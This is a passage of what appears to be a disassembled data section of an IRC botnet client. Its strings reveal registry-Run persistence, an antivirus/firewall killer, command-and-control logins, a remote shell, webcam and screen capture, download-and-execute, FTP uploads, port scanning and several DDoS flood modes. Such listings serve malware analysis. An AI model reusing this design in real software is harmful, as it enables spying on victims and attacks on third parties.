'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 72657373h, 652E6376h, 6578h dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServces db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: ___:0040AD34o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd 0 dd offset dword_43D128 dd offset aAdministrato_0 ; "administrator" align 10h dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:00429228o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429548: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_429998: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 